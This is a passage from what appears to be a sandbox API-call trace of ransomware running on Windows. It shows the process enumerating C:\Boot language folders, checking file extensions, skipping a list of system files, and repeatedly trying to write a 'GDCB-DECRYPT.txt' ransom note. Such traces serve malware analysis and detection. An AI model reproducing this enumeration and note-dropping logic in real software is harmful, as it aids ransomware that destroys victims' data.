hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.445] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.445] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.445] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.445] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.445] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.445] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0169.445] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0169.445] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.445] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.445] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.445] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.445] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt" [0169.445] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0169.445] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.445] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.445] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.445] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.445] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0169.445] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0169.445] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.445] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.445] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.445] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.445] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt") returned 31 [0169.445] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\cs-cz\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.446] GetLastError () returned 0x50 [0169.446] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.446] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0169.446] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0169.446] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a49d8 [0169.446] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.446] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.446] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.446] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.446] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.446] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.446] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.446] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0169.446] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.446] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0169.446] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0169.446] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.446] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.446] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.446] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.446] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt" [0169.446] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.447] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0169.447] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0169.447] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0169.447] lstrlenW (lpString="C:\\Boot\\cs-CZ\\GDCB-DECRYPT.txt") returned 30 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.447] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.447] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.447] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.447] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.447] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned="C:\\Boot\\cs-CZ\\memtest.exe.mui" [0169.447] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.447] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0169.447] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0169.447] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.447] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.447] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.448] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0169.448] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0169.448] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0169.448] lstrcatW (in: lpString1="C:\\Boot\\da-DK", lpString2="\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0169.448] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.448] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.448] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0169.448] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0169.448] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.448] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.448] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.448] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.448] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.448] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.448] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.448] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.448] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0169.448] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0169.448] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.448] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.448] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.448] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.448] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt" [0169.448] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0169.448] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.448] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.448] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.448] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.448] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0169.449] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0169.449] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.449] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.449] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.449] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.449] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt") returned 31 [0169.449] CreateFileW (lpFileName="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\da-dk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.449] GetLastError () returned 0x50 [0169.449] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.449] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0169.449] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0169.449] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4a18 [0169.449] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.449] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.449] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.449] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.449] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.449] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.449] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.449] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0169.449] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.450] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0169.450] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0169.450] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.450] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.450] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.450] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.450] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt" [0169.450] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.450] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0169.450] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0169.450] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0169.450] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.450] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.450] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.450] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.450] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.450] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.450] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0169.450] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.451] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0169.451] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0169.451] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.451] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.451] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0169.451] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.451] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0169.451] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0169.451] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0169.451] lstrcatW (in: lpString1="C:\\Boot\\de-DE", lpString2="\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0169.451] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.451] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.451] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.451] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0169.451] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0169.451] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.452] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.452] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.452] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.452] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.452] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.452] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.452] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.452] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0169.452] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0169.452] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.452] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.452] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.452] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.452] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt" [0169.452] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0169.452] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.452] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.452] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.452] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.452] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0169.452] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0169.452] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.452] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.452] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.452] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.452] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt") returned 31 [0169.452] CreateFileW (lpFileName="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\de-de\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.452] GetLastError () returned 0x50 [0169.452] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.453] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0169.453] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0169.453] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4dd8 [0169.453] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.453] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.453] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.453] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.453] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.453] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.453] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.453] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0169.453] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.453] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0169.453] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0169.453] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.453] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.453] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.453] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.453] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt" [0169.453] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.453] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0169.454] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0169.454] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0169.454] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.454] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.454] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.454] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.454] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.454] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.454] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0169.454] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.454] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0169.454] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0169.454] VirtualFree 